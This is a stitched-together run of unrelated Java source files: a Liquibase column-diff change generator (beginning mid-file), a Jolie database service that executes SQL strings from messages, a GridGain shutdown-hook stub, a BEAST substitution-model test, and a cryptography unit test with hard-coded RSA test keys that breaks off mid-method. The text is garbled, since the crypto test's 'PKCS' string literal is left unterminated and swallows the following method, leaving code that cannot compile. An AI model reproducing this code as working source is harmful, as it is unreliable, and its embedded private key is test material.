changes, referenceDatabase, comparisonDatabase); // DAT-7409 & DAT-7559: add 'addNotNullConstraint' change if any differences between columns found except of nullable difference // Comment: type, default value and auto increment differences generate liquibase change that generates `ALTER TABLE ... ALTER COLUMN ... sql statement // and this statement removes NOT NULL constraint from a column, to prevent it we need to add add not null constraint back. if (comparisonDatabase instanceof MSSQLDatabase) { Difference nullableDifference = differences.getDifference("nullable"); if (changes.size() > 1 && (nullableDifference == null || nullableDifference.getReferenceValue() == null)) { boolean nullable = column.isNullable(); if (!nullable) { changes.add(generateAddNotNullConstraintChangeBasedOnColumn(column, control, comparisonDatabase)); } } } Difference remarksDiff = differences.getDifference("remarks"); if (remarksDiff != null) { SetColumnRemarksChange change = new SetColumnRemarksChange(); if (control.getIncludeCatalog()) { change.setCatalogName(column.getSchema().getCatalogName()); } if (control.getIncludeSchema()) { change.setSchemaName(column.getSchema().getName()); } change.setTableName(column.getRelation().getName()); change.setColumnName(column.getName()); change.setRemarks(column.getRemarks()); changes.add(change); } return changes.toArray(new Change[changes.size()]); } protected void handleNullableDifferences(Column column, ObjectDifferences differences, DiffOutputControl control, List<Change> changes, Database referenceDatabase, Database comparisonDatabase) { Difference nullableDifference = differences.getDifference("nullable"); if (nullableDifference != null && nullableDifference.getReferenceValue() != null) { boolean nullable = (Boolean) nullableDifference.getReferenceValue(); if (nullable) { DropNotNullConstraintChange change = new DropNotNullConstraintChange(); if (control.getIncludeCatalog()) { change.setCatalogName(column.getRelation().getSchema().getCatalog().getName()); } if (control.getIncludeSchema()) { change.setSchemaName(column.getRelation().getSchema().getName()); } change.setTableName(column.getRelation().getName()); change.setColumnName(column.getName()); change.setColumnDataType(DataTypeFactory.getInstance().from(column.getType(), comparisonDatabase).toString()); changes.add(change); } else { changes.add(generateAddNotNullConstraintChangeBasedOnColumn(column, control, comparisonDatabase)); } } } protected void handleAutoIncrementDifferences(Column column, ObjectDifferences differences, DiffOutputControl control, List<Change> changes, Database referenceDatabase, Database comparisonDatabase) { Difference difference = differences.getDifference("autoIncrementInformation"); if (difference != null) { if (difference.getReferenceValue() == null) { LogFactory.getLogger().info("ChangedColumnChangeGenerator cannot fix dropped auto increment values"); //todo: Support dropping auto increments } else { AddAutoIncrementChange change = new AddAutoIncrementChange(); if (control.getIncludeCatalog()) { change.setCatalogName(column.getRelation().getSchema().getCatalog().getName()); } if (control.getIncludeSchema()) { change.setSchemaName(column.getRelation().getSchema().getName()); } change.setTableName(column.getRelation().getName()); change.setColumnName(column.getName()); change.setColumnDataType(DataTypeFactory.getInstance().from(column.getType(), comparisonDatabase).toString()); changes.add(change); } } } protected void handleTypeDifferences(Column column, ObjectDifferences differences, DiffOutputControl control, List<Change> changes, Database referenceDatabase, Database comparisonDatabase) { Difference typeDifference = differences.getDifference("type"); if (typeDifference != null) { String catalogName = null; String schemaName = null; if (control.getIncludeCatalog()) { catalogName = column.getRelation().getSchema().getCatalog().getName(); } if (control.getIncludeSchema()) { schemaName = column.getRelation().getSchema().getName(); } String tableName = column.getRelation().getName(); if (comparisonDatabase instanceof OracleDatabase && (((DataType) typeDifference.getReferenceValue()).getTypeName().equalsIgnoreCase("clob") || ((DataType) typeDifference.getComparedValue()).getTypeName().equalsIgnoreCase("clob"))) { String tempColName = "TEMP_CLOB_CONVERT"; OutputChange outputChange = new OutputChange(); outputChange.setMessage("Cannot convert directly from " + ((DataType) typeDifference.getComparedValue()).getTypeName()+" to "+((DataType) typeDifference.getReferenceValue()).getTypeName()+". Instead a new column will be created and the data transferred. This may cause unexpected side effects including constraint issues and/or table locks."); changes.add(outputChange); AddColumnChange addColumn = new AddColumnChange(); addColumn.setCatalogName(catalogName); addColumn.setSchemaName(schemaName); addColumn.setTableName(tableName); AddColumnConfig addColumnConfig = new AddColumnConfig(column); addColumnConfig.setName(tempColName); addColumnConfig.setType(typeDifference.getReferenceValue().toString()); addColumnConfig.setAfterColumn(column.getName()); addColumn.setColumns(Arrays.asList(addColumnConfig)); changes.add(addColumn); changes.add(new RawSQLChange("UPDATE "+referenceDatabase.escapeObjectName(tableName, Table.class)+" SET "+tempColName+"="+referenceDatabase.escapeObjectName(column.getName(), Column.class))); DropColumnChange dropColumnChange = new DropColumnChange(); dropColumnChange.setCatalogName(catalogName); dropColumnChange.setSchemaName(schemaName); dropColumnChange.setTableName(tableName); dropColumnChange.setColumnName(column.getName()); changes.add(dropColumnChange); RenameColumnChange renameColumnChange = new RenameColumnChange(); renameColumnChange.setCatalogName(catalogName); renameColumnChange.setSchemaName(schemaName); renameColumnChange.setTableName(tableName); renameColumnChange.setOldColumnName(tempColName); renameColumnChange.setNewColumnName(column.getName()); changes.add(renameColumnChange); } else { if (comparisonDatabase instanceof MSSQLDatabase && column.getDefaultValue() != null) { //have to drop the default value, will be added back with the "data type changed" logic. DropDefaultValueChange dropDefaultValueChange = new DropDefaultValueChange(); dropDefaultValueChange.setCatalogName(catalogName); dropDefaultValueChange.setSchemaName(schemaName); dropDefaultValueChange.setTableName(tableName); dropDefaultValueChange.setColumnName(column.getName()); changes.add(dropDefaultValueChange); } ModifyDataTypeChange change = new ModifyDataTypeChange(); change.setCatalogName(catalogName); change.setSchemaName(schemaName); change.setTableName(tableName); change.setColumnName(column.getName()); DataType referenceType = (DataType) typeDifference.getReferenceValue(); change.setNewDataType(DataTypeFactory.getInstance().from(referenceType, comparisonDatabase).toString()); changes.add(change); } } } protected void handleDefaultValueDifferences(Column column, ObjectDifferences differences, DiffOutputControl control, List<Change> changes, Database referenceDatabase, Database comparisonDatabase) { Difference difference = differences.getDifference("defaultValue"); if (difference != null) { Object value = difference.getReferenceValue(); LiquibaseDataType columnDataType = DataTypeFactory.getInstance().from(column.getType(), comparisonDatabase); if (value == null) { DropDefaultValueChange change = new DropDefaultValueChange(); if (control.getIncludeCatalog()) { change.setCatalogName(column.getRelation().getSchema().getCatalog().getName()); } if (control.getIncludeSchema()) { change.setSchemaName(column.getRelation().getSchema().getName()); } change.setTableName(column.getRelation().getName()); change.setColumnName(column.getName()); change.setColumnDataType(columnDataType.toString()); changes.add(change); } else if (shouldTriggerAddDefaultChange(column, difference, comparisonDatabase)) { AddDefaultValueChange change = new AddDefaultValueChange(); if (control.getIncludeCatalog()) { change.setCatalogName(column.getRelation().getSchema().getCatalog().getName()); } if (control.getIncludeSchema()) { change.setSchemaName(column.getRelation().getSchema().getName()); } change.setTableName(column.getRelation().getName()); change.setColumnName(column.getName()); change.setColumnDataType(columnDataType.toString()); // Make sure we handle BooleanType values which are not Boolean if (value instanceof Boolean || columnDataType instanceof BooleanType) { if (value instanceof Boolean) { change.setDefaultValueBoolean((Boolean) value); } else if (columnDataType instanceof BooleanType) { if (value instanceof DatabaseFunction) { if (value.equals(new DatabaseFunction("'false'"))) { change.setDefaultValueBoolean(false); } else if (value.equals(new DatabaseFunction("'true'"))) { change.setDefaultValueBoolean(true); } else { change.setDefaultValueComputed(((DatabaseFunction) value)); } } } } else if (value instanceof Date) { change.setDefaultValueDate(new ISODateFormat().format(((Date) value))); } else if (value instanceof Number) { change.setDefaultValueNumeric(value.toString()); } else if (value instanceof DatabaseFunction) { change.setDefaultValueComputed(((DatabaseFunction) value)); } else { change.setDefaultValue(value.toString()); } change.setDefaultValueConstraintName(column.getDefaultValueConstraintName()); changes.add(change); } } } /** * For {@link PostgresDatabase} if column is of autoIncrement/SERIAL type we can ignore 'defaultValue' differences * (because its execution of sequence.next() anyway) */ private boolean shouldTriggerAddDefaultChange(Column column, Difference difference, Database comparisonDatabase) { if (!(comparisonDatabase instanceof PostgresDatabase)) { return true; } if (column.getAutoIncrementInformation() != null && difference.getReferenceValue() instanceof DatabaseFunction) { return false; } return true; } /** * Generates {@link AddNotNullConstraintChange} change for column * @param column column * @param control diff control * @param comparisonDatabase database * @return AddNotNullConstraint change */ private AddNotNullConstraintChange generateAddNotNullConstraintChangeBasedOnColumn(Column column, DiffOutputControl control, Database comparisonDatabase) { AddNotNullConstraintChange addNotNullConstraintChange = new AddNotNullConstraintChange(); if (control.getIncludeCatalog()) { addNotNullConstraintChange.setCatalogName(column.getRelation().getSchema().getCatalog().getName()); } if (control.getIncludeSchema()) { addNotNullConstraintChange.setSchemaName(column.getRelation().getSchema().getName()); } addNotNullConstraintChange.setTableName(column.getRelation().getName()); addNotNullConstraintChange.setColumnName(column.getName()); addNotNullConstraintChange.setColumnDataType(DataTypeFactory.getInstance().from(column.getType(), comparisonDatabase).toString()); addNotNullConstraintChange.setConstraintName(column.getAttribute("notNullConstraintName", String.class)); addNotNullConstraintChange.setValidate(column.shouldValidate()); return addNotNullConstraintChange; } }
package joliex.db; import java.sql.Clob; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.SQLException; import java.sql.Statement; import jolie.net.CommMessage; import jolie.runtime.CanUseJars; import jolie.runtime.FaultException; import jolie.runtime.JavaService; import jolie.runtime.Value; /** * @author Fabrizio Montesi * 2008 - Marco Montesi: connection string fix for Microsoft SQL Server */ @CanUseJars({ "derby.jar", // Java DB - Embedded "derbyclient.jar", // Java DB - Client "jdbc-mysql.jar", // MySQL "jdbc-postgresql.jar", // PostgreSQL "jdbc-sqlserver.jar" // Microsoft SQLServer }) public class DatabaseService extends JavaService { private Connection connection = null; private String connectionString = null; private String username = null; private String password = null; private boolean mustCheckConnection = false; public CommMessage connect( CommMessage message ) throws FaultException { if ( connection != null ) { try { connectionString = null; username = null; password = null; connection.close(); } catch( SQLException e ) {} } mustCheckConnection = message.value().getFirstChild( "checkConnection" ).intValue() > 0; String driver = message.value().getChildren( "driver" ).first().strValue(); String host = message.value().getChildren( "host" ).first().strValue(); String port = message.value().getChildren( "port" ).first().strValue(); String databaseName = message.value().getChildren( "database" ).first().strValue(); username = message.value().getChildren( "username" ).first().strValue(); password = message.value().getChildren( "password" ).first().strValue(); String separator = "/"; try { if ( "postgresql".equals( driver ) ) { Class.forName( "org.postgresql.Driver" ); } else if ( "mysql".equals( driver ) ) { Class.forName( "com.mysql.jdbc.Driver" ); } else if ( "derby".equals( driver ) ) { Class.forName( "org.apache.derby.jdbc.ClientDriver" ); } else if ( "sqlserver".equals( driver ) ) { Class.forName( "com.microsoft.sqlserver.jdbc.SQLServerDriver" ); separator = ";"; databaseName = "databaseName=" + databaseName; } else if ( "as400".equals( driver ) ) { Class.forName( "com.ibm.as400.access.AS400JDBCDriver" ); } else { throw new FaultException( "InvalidDriver", "Uknown driver: " + driver ); } connectionString = "jdbc:"+ driver + "://" + host + ( port.equals( "" ) ? "" : ":" + port ) + separator + databaseName; connection = DriverManager.getConnection( connectionString, username, password ); if ( connection == null ) { throw new FaultException( "ConnectionError" ); } } catch( ClassNotFoundException e ) { throw new FaultException( "InvalidDriver", e ); } catch( SQLException e ) { throw new FaultException( "ConnectionError", e ); } return null; } private void checkConnection() throws FaultException { if ( mustCheckConnection ) { if ( connection == null ) { throw new FaultException( "ConnectionError" ); } try { if ( !connection.isValid( 0 ) ) { connection = DriverManager.getConnection( connectionString, username, password ); } } catch( SQLException e ) { throw new FaultException( e ); } } } public CommMessage update( CommMessage request ) throws FaultException { checkConnection(); Value resultValue = Value.create(); String query = request.value().strValue(); try { Statement stm = connection.createStatement(); resultValue.setValue( stm.executeUpdate( query ) ); } catch( SQLException e ) { throw new FaultException( e ); } return CommMessage.createResponse( request, resultValue ); } public CommMessage query( CommMessage request ) throws FaultException { checkConnection(); Value resultValue = Value.create(); Value rowValue, fieldValue; String query = request.value().strValue(); try { Statement stm = connection.createStatement(); ResultSet result = stm.executeQuery( query ); ResultSetMetaData metadata = result.getMetaData(); int cols = metadata.getColumnCount(); int i; int rowIndex = 0; while( result.next() ) { rowValue = resultValue.getChildren( "row" ).get( rowIndex ); for( i = 1; i <= cols; i++ ) { fieldValue = rowValue.getChildren( metadata.getColumnLabel( i ) ).first(); switch( metadata.getColumnType( i ) ) { case java.sql.Types.BLOB: //fieldValue.setStrValue( result.getBlob( i ).toString() ); break; case java.sql.Types.CLOB: Clob clob = result.getClob( i ); fieldValue.setValue( clob.getSubString( 0L, (int)clob.length() ) ); break; case java.sql.Types.NVARCHAR: case java.sql.Types.NCHAR: case java.sql.Types.LONGNVARCHAR: fieldValue.setValue( result.getNString( i ) ); break; case java.sql.Types.VARCHAR: default: fieldValue.setValue( result.getString( i ) ); break; } } rowIndex++; } } catch( SQLException e ) { throw new FaultException( "SQLException", e ); } return CommMessage.createResponse( request, resultValue ); } }
/* @java.file.header */ package org.gridgain.grid.kernal.processors.hadoop.v2; import java.util.HashSet; import java.util.concurrent.atomic.AtomicBoolean; import java.util.Collections; import java.util.Set; /** * Fake manager for shutdown hooks. */ public class ShutdownHookManager { private static final ShutdownHookManager MGR = new ShutdownHookManager(); /** * Return <code>ShutdownHookManager</code> singleton. * * @return <code>ShutdownHookManager</code> singleton. */ public static ShutdownHookManager get() { return MGR; } private Set<Runnable> hooks = Collections.synchronizedSet(new HashSet<Runnable>()); private AtomicBoolean shutdownInProgress = new AtomicBoolean(false); /** * Singleton. */ private ShutdownHookManager() { // No-op. } /** * Adds a shutdownHook with a priority, the higher the priority * the earlier will run. ShutdownHooks with same priority run * in a non-deterministic order. * * @param shutdownHook shutdownHook <code>Runnable</code> * @param priority priority of the shutdownHook. */ public void addShutdownHook(Runnable shutdownHook, int priority) { if (shutdownHook == null) throw new IllegalArgumentException("shutdownHook cannot be NULL"); hooks.add(shutdownHook); } /** * Removes a shutdownHook. * * @param shutdownHook shutdownHook to remove. * @return TRUE if the shutdownHook was registered and removed, * FALSE otherwise. */ public boolean removeShutdownHook(Runnable shutdownHook) { return hooks.remove(shutdownHook); } /** * Indicates if a shutdownHook is registered or not. * * @param shutdownHook shutdownHook to check if registered. * @return TRUE/FALSE depending if the shutdownHook is is registered. */ public boolean hasShutdownHook(Runnable shutdownHook) { return hooks.contains(shutdownHook); } /** * Indicates if shutdown is in progress or not. * * @return TRUE if the shutdown is in progress, otherwise FALSE. */ public boolean isShutdownInProgress() { return shutdownInProgress.get(); } }
package test.dr.integration; import dr.evolution.datatype.DataType; import dr.evomodel.substmodel.ComplexSubstitutionModel; import dr.evomodel.substmodel.FrequencyModel; import dr.evomodel.substmodel.SVSComplexSubstitutionModel; import dr.inference.model.Parameter; import junit.framework.TestCase; import java.text.DecimalFormat; import java.text.NumberFormat; import java.util.ArrayList; import java.util.Random; public class TimeIrreversibleTest extends TestCase { private static final double time = 0.01; private static NumberFormat formatter = new DecimalFormat("###0.000000"); private static ArrayList<Double> ratioSummary = new ArrayList<Double> (); static class Original { public double[] getRates() { return new double[]{ 38.505, 23.573, 2.708, 3.35, 11.641, 0.189, 0.127, 0.511, 0.272, 1.788E-2, 0.214, 1.322E-2, 3.015E-2, 0.449, 0.177, 0.305, 1.517E-2, 3.924E-2, 0.18, 0.14, 1.273E-2, 0.265, 1.422E-2, 1.474E-2, 0.911, 0.17, 0.217, 4.078, 0.206, 3.309E-2, 0.657, 1.874E-2, 3.141E-2, 0.403, 2.003E-2, 0.582, 0.732, 0.106, 9.147E-2, 0.248, 1.516E-2, 0.524, 0.1, 1.986, 0.819, 0.146, 7.519E-2, 1.35, 0.166, 0.204, 1.753E-2, 0.59, 0.691, 3.308, 0.377, 1.785E-2 }; } public double[] getIndicators() { return new double[]{ 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0 }; } public double[] getFrequencies() { // return new double[]{0.141, 7.525E-2, 0.117, 0.283, 7.743E-2, 0.156, 1.555E-2, 0.135}; // sum to 1.00023 return new double[]{0.141, 0.075, 0.117, 0.283, 0.077, 0.156, 0.016, 0.135}; } public DataType getDataType() { return new DataType() { public String getDescription() { return null; } public int getType() { return 0; // NUCLEOTIDES = 0; } public int getStateCount() { return getFrequencies().length; // = frequency } }; } public String toString() { return "original data test"; } } class Test extends Original { private final double x; public Test(double x) { this.x = x; } public double[] getRates(int id) { double[] originalRates = super.getRates(); System.out.println("original rates:"); printRateMatrix(originalRates, getDataType().getStateCount()); double[] newRates = new double[originalRates.length]; double[] uniform = new double[originalRates.length]; for (int r = 0; r < originalRates.length; r++) { if (r == id) { uniform[r] = (new Random()).nextDouble() * ((1 / x) - x) + x; newRates[r] = originalRates[r] * uniform[r]; } else { newRates[r] = originalRates[r]; } } System.out.println("random ratio:"); printRateMatrix(uniform, getDataType().getStateCount()); System.out.println("new rates:"); printRateMatrix(newRates, getDataType().getStateCount()); return newRates; } public String toString() { return "test using random number : " + x; } } public void tests() { Original originalTest = new Original(); double[] csm_orig = testComplexSubstitutionModel(originalTest, originalTest.getRates()); double[] svs_orig = testSVSComplexSubstitutionModel(originalTest, originalTest.getRates()); Test test = new Test(0.8); for (int r = 0; r < test.getRates().length; r++) { System.out.println("==================== changing index = " + r + " (start from 0) ===================="); double[] newRate = test.getRates(r); double[] csm_test = testComplexSubstitutionModel(test, newRate); reportMatrix(csm_orig, csm_test); double[] svs_test = testSVSComplexSubstitutionModel(test, newRate); reportMatrix(svs_orig, svs_test); } System.out.println("==================== Biggest Ratio Summary ====================\n"); int i = 1; double bigget = 0; int biggetId = 0; for (Double r : ratioSummary) { if (i % 2 != 0) { System.out.print(i/2 + " "); } System.out.print(formatter.format(r) + ", "); if (bigget < r) { bigget = r; biggetId = i; } if (i % 2 == 0) { System.out.println(""); } i++; } System.out.println("bigget = " + formatter.format(bigget) + ", where index is " + biggetId/2); } private double[] testComplexSubstitutionModel(Original test, double[] rates) { System.out.println("\n*** Complex Substitution Model Test: " + test + " ***"); Parameter ratesP = new Parameter.Default(rates); DataType dataType = test.getDataType(); FrequencyModel freqModel = new FrequencyModel(dataType, new Parameter.Default(test.getFrequencies())); ComplexSubstitutionModel substModel = new ComplexSubstitutionModel("Complex Substitution Model Test", dataType, freqModel, ratesP); double logL = substModel.getLogLikelihood(); System.out.println("Prior = " + logL); double[] finiteTimeProbs = null; if (!Double.isInfinite(logL)) { finiteTimeProbs = new double[substModel.getDataType().getStateCount() * substModel.getDataType().getStateCount()]; substModel.getTransitionProbabilities(time, finiteTimeProbs); System.out.println("Probs = "); printRateMatrix(finiteTimeProbs, substModel.getDataType().getStateCount()); } // assertEquals(1, 1, 1e-10); return finiteTimeProbs; } private double[] testSVSComplexSubstitutionModel(Original test, double[] rates) { System.out.println("\n*** SVS Complex Substitution Model Test: " + test + " ***"); double[] indicators = test.getIndicators(); Parameter ratesP = new Parameter.Default(rates); Parameter indicatorsP = new Parameter.Default(indicators); DataType dataType = test.getDataType(); FrequencyModel freqModel = new FrequencyModel(dataType, new Parameter.Default(test.getFrequencies())); SVSComplexSubstitutionModel substModel = new SVSComplexSubstitutionModel("SVS Complex Substitution Model Test", dataType, freqModel, ratesP, indicatorsP, true); double logL = substModel.getLogLikelihood(); System.out.println("Prior = " + logL); double[] finiteTimeProbs = null; if (!Double.isInfinite(logL)) { finiteTimeProbs = new double[substModel.getDataType().getStateCount() * substModel.getDataType().getStateCount()]; substModel.getTransitionProbabilities(time, finiteTimeProbs); System.out.println("Probs = "); printRateMatrix(finiteTimeProbs, substModel.getDataType().getStateCount()); } // assertEquals(1, 1, 1e-10); return finiteTimeProbs; } public static void printRateMatrix(double[] m, int a) { int id = 0; for (int i = 0; i < a; i++) { if (i == 0) { System.out.print("/ "); } else if (i == a - 1) { System.out.print("\\ "); } else { System.out.print("| "); } for (int j = 0; j < a; j++) { if (i == j) { System.out.print("null"); for (int n = 0; n < formatter.getMaximumFractionDigits(); n++) { System.out.print(" "); } } else { System.out.print(formatter.format(m[id]) + " "); id++; } } if (i == 0) { System.out.print("\\"); } else if (i == a - 1) { System.out.print("/"); } else { System.out.print("|"); } System.out.println(); } System.out.println("\n"); } public static void reportMatrix(double[] orig, double[] test) { double bigRatio = 0; double ratio; int index = -1; if (orig.length != test.length) System.err.println("Error : 2 matrix should have same length ! " + orig.length + " " + test.length); for (int i = 0; i < orig.length; i++) { ratio = Math.abs(orig[i] / test[i]); if (bigRatio < ratio) { bigRatio = ratio; index = i; } } ratioSummary.add(bigRatio); System.out.println("Biggest Ratio = " + formatter.format(bigRatio) + ", between " + formatter.format(orig[index]) + " and " + formatter.format(test[index])); System.out.println("index = " + index + " (start from 0)"); System.out.println("\n"); } }
package com.geoxp.oss; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.math.BigInteger; import java.security.KeyFactory; import java.security.PrivateKey; import java.security.PublicKey; import java.security.SecureRandom; import java.security.interfaces.DSAPublicKey; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; import java.security.spec.DSAPrivateKeySpec; import java.security.spec.DSAPublicKeySpec; import java.security.spec.KeySpec; import java.security.spec.RSAPrivateKeySpec; import java.security.spec.RSAPublicKeySpec; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; import org.bouncycastle.crypto.AsymmetricCipherKeyPair; import org.bouncycastle.crypto.InvalidCipherTextException; import org.bouncycastle.crypto.generators.DSAKeyPairGenerator; import org.bouncycastle.crypto.generators.DSAParametersGenerator; import org.bouncycastle.crypto.generators.RSAKeyPairGenerator; import org.bouncycastle.crypto.params.DSAKeyGenerationParameters; import org.bouncycastle.crypto.params.DSAParameters; import org.bouncycastle.crypto.params.DSAPrivateKeyParameters; import org.bouncycastle.crypto.params.DSAPublicKeyParameters; import org.bouncycastle.crypto.params.RSAKeyGenerationParameters; import org.bouncycastle.crypto.params.RSAKeyParameters; import org.bouncycastle.crypto.params.RSAPrivateCrtKeyParameters; import org.bouncycastle.openpgp.PGPPublicKey; import org.bouncycastle.util.encoders.Base64; import org.bouncycastle.util.encoders.Hex; import org.junit.Assert; import org.junit.BeforeClass; import org.junit.Test; import com.geoxp.oss.CryptoHelper.SSHAgentClient; import com.geoxp.oss.CryptoHelper.SSHAgentClient.SSHKey; import com.geoxp.oss.CryptoHelper.SSSSGF256Polynomial; public class CryptoHelperTest { private static final String PLAINTEXT = "Too many secrets, Marty!"; // AES Wrapping tests @Test public void testWrapAES_Ok() { try { byte[] data = PLAINTEXT.getBytes("UTF-8"); byte[] key = "0123456789ABCDEF".getBytes(); byte[] encrypted = CryptoHelper.wrapAES(key, data); Assert.assertEquals("b552b1f8a038ab01a90652321088e3520d641021409378624355c6fa8a6037ca9876dcafa74f6a0e", new String(Hex.encode(encrypted))); } catch (UnsupportedEncodingException uee) { Assert.assertTrue(false); } } @Test public void testUnwrapAES_Ok() { try { byte[] encrypted = Hex.decode("b552b1f8a038ab01a90652321088e3520d641021409378624355c6fa8a6037ca9876dcafa74f6a0e"); byte[] key = "0123456789ABCDEF".getBytes(); String data = new String(CryptoHelper.unwrapAES(key, encrypted), "UTF-8"); Assert.assertEquals(PLAINTEXT, data); } catch (UnsupportedEncodingException uee) { Assert.assertTrue(false); } } @Test public void testUnwrapAES_WrongKey() { byte[] encrypted = Hex.decode("b552b1f8a038ab01a90652321088e3520d641021409378624355c6fa8a6037ca9876dcafa74f6a0e"); byte[] key = "0123456789ABCDEG".getBytes(); byte[] data = CryptoHelper.unwrapAES(key, encrypted); Assert.assertEquals(null, data); } // Padding tests @Test public void testPadPKCS7() { byte[] data = new byte[8]; byte[] padded = CryptoHelper.padPKCS7(8, data); Assert.assertEquals("00000000000000000808080808080808", new String(Hex.encode(padded))); data = new byte[0]; padded = CryptoHelper.padPKCS7(8, data); Assert.assertEquals("0808080808080808", new String(Hex.encode(padded))); data = new byte[3]; padded = CryptoHelper.padPKCS7(8, data); Assert.assertEquals("0000000505050505", new String(Hex.encode(padded))); } @Test public void testUnpadPKCS7() { try { byte[] padded = Hex.decode("00000000000000000808080808080808"); byte[] data = CryptoHelper.unpadPKCS7(padded); Assert.assertEquals("0000000000000000", new String(Hex.encode(data))); padded = Hex.decode("0808080808080808"); data = CryptoHelper.unpadPKCS7(padded); Assert.assertEquals("", new String(Hex.encode(data))); padded = Hex.decode("0000000505050505"); data = CryptoHelper.unpadPKCS7(padded); Assert.assertEquals("000000", new String(Hex.encode(data))); } catch (InvalidCipherTextException ice) { Assert.assertTrue(false); } } // RSA Tests private static RSAPublicKey pubkey = null; private static RSAPrivateKey privkey = null; private static String TEST_CIPHERTEXT = "416a5e39db06eff6b27880a1e5d060730ae9a45b28f245fe4e82d74976b72606d2062308a35db92d3d76cbf746bbed1dd6e51d3c60bbf897efce0ea11b4fd888ef61f59d1b8135479f72ba342935bab40f6484bcd8af087f815508fddb2502c4f2b24e393d682c2a439ee2a23ef148be0e3dae9d8bd60f6aeed2af41da07f3fe017702464b4f9073d5ff0e4883428d0bcb900d5fc0771d3c7d314830da7bcd0043f7cb7cbdaec59626f3e42edad4631a2a872917f8e52234dfe6052c53149952e73d12cedb4c8e844d31e0644d2fc01d67a567eb2b6fd099382804b6560acf2ff861f2a5a34ba34a4eed8b821aedf5f9447d249fcdcfb4ab412c66f057b407ba"; private static String TEST_SHA256WITHRSA_SIG = "5572ce4db50487e52a4bd2707e557ceb9566a55937026a0fe2f8f6cdba2ce58e069b2efbcb69c8a293e651c8ca764c4c8d2d7de5a1f66290bd2720b6d1717cfda912eacae716d3e0f5251c9c266080709b21e9331ee79cc57fec90768169a9ea913e5f445579cc7c120c67bdb72a7f08ed05556b276daf0b174966c35738d8a35dd6268e2e94e676dade1c2567b4b8c0f39933dddaba6988569592954312eff378e6e51ccdf57fab2ce8961c7385831df58b18db5623d032eac7805611f0419ef2683b7d1716c639ee414e6f5809a68ce280c2edfe505a9c037b30b4646d5afd45a48a4d36a15a51370bf671c6a78baa2a4dd541f94f565b46af83a057af4717"; private static String TEST_SHA1WITHRSA_SIG = "3ed203960c6b7c217aa1a48e5600245adf464771958e0bc4c30ef066b0bcd6e4de74af65b724cdab71c0c56d2a6dcf3c40ef675931dce64d12dd5462c4df2c54321cf4004526c97a28435ef6a51c3b28b0deefdcb33bfde7351b8eaf65a47f911cc40c4762a47cae4f4e94c7473aa714e134a4275f28a645e3bfe47dc541c63422dd64de19ba085f49d88f24b096ed67746e593b96fda7a7ea8b6a3f0e1516577771fd7f69e7d3ec168994f898867d793ab2f131563b4064ffa8d00eab8d19e61ec6b22906d1aa6e84efbac5fbd17b5e6a1024ee2296c1159f20107e4dc8418218b30ba2d0870448735d55e8435837da6381a44932495a90a7c60618359ab3e3"; @BeforeClass public static void initRSA() { pubkey = new RSAPublicKey() { public BigInteger getModulus() { return new BigInteger("16486878486408275413767645980834450799068512761530201902904366269045701264780287813548482765230599547361495663114883133953031934796710541013969698908689227122243199249153028203405570632782038660366993871583035487813355780732353330307966740208839055253611521697790624599289584287035124227303722015732664143435627662572063369377319845149329865786129950696697707258169860504161097904037909901392070097285851111591152223867471834516850780920777180757773482764583645271112169550056347194865136966708230939966062717171772017703633226195925227390808476557633216288033679639392565309589416160575374495537295296004844165991833"); } public String getFormat() { return "PKCS public byte[] getEncoded() { return null; } public String getAlgorithm() { return "RSA"; } public BigInteger getPublicExponent() { return new BigInteger("65537"); } }; privkey = new RSAPrivateKey() { public BigInteger getModulus() { return new BigInteger("16486878486408275413767645980834450799068512761530201902904366269045701264780287813548482765230599547361495663114883133953031934796710541013969698908689227122243199249153028203405570632782038660366993871583035487813355780732353330307966740208839055253611521697790624599289584287035124227303722015732664143435627662572063369377319845149329865786129950696697707258169860504161097904037909901392070097285851111591152223867471834516850780920777180757773482764583645271112169550056347194865136966708230939966062717171772017703633226195925227390808476557633216288033679639392565309589416160575374495537295296004844165991833"); } public String getFormat() { return "PKCS public byte[] getEncoded() { return null; } public String getAlgorithm() { return "RSA"; } public BigInteger getPrivateExponent() { return new BigInteger("16462225022080216287006438887038247491344498628282876578484807426035394434685097795608574754320844771347313955453786981441818465617314510786474253122445554933128960978765048943385524766751969542331136792384794227490092450605680296352030692776999541278073216173790693549489770757881677438859396447617831284347271984130596544116183151131396911078941742892944344866258139017288536308538106615887195873638366636746767960329159670221204748613353113007335636833020656797045918057345527985852226488193916871657682561742644875120607102033893450853383621001138933634164562229114010435736620936636769693547229391425790450273613"); } }; } @Test public void testEncryptRSA() throws Exception { byte[] data = PLAINTEXT.getBytes("UTF-8"); String ciphertext = new String(Hex.encode(CryptoHelper.encryptRSA(privkey, data))); Assert.assertEquals(TEST_CIPHERTEXT, ciphertext); } @Test public void testDecryptRSA() throws Exception { byte[] data = Hex.decode(TEST_CIPHERTEXT); String cleartext = new String(CryptoHelper.decryptRSA(pubkey, data)); Assert.assertEquals(PLAINTEXT, cleartext); } @Test public void testSign_Default() throws Exception { byte[] data = PLAINTEXT.getBytes("UTF-8"); String sig = new String(Hex.encode(CryptoHelper.sign(CryptoHelper.DEFAULT_SIGNATURE_ALGORITHM, privkey, data))); Assert.assertEquals(TEST_SHA256WITHRSA_SIG, sig); } @Test public void testVerify_Default() throws Exception { byte[] data = PLAINTEXT.getBytes("UTF-8"); Assert.assertTrue(CryptoHelper.verify(CryptoHelper.DEFAULT_SIGNATURE_ALGORITHM, pubkey, data, Hex.decode(TEST_SHA256WITHRSA_SIG))); } @Test public void testSign_SHA1() throws Exception { byte[] data = PLAINTEXT.getBytes("UTF-8"); String sig = new String(Hex.encode(CryptoHelper.sign("SHA1WithRSA", privkey, data))); Assert.assertEquals(TEST_SHA1WITHRSA_SIG, sig); } @Test public void testVerify_SHA1() throws Exception { byte[] data = PLAINTEXT.getBytes("UTF-8"); 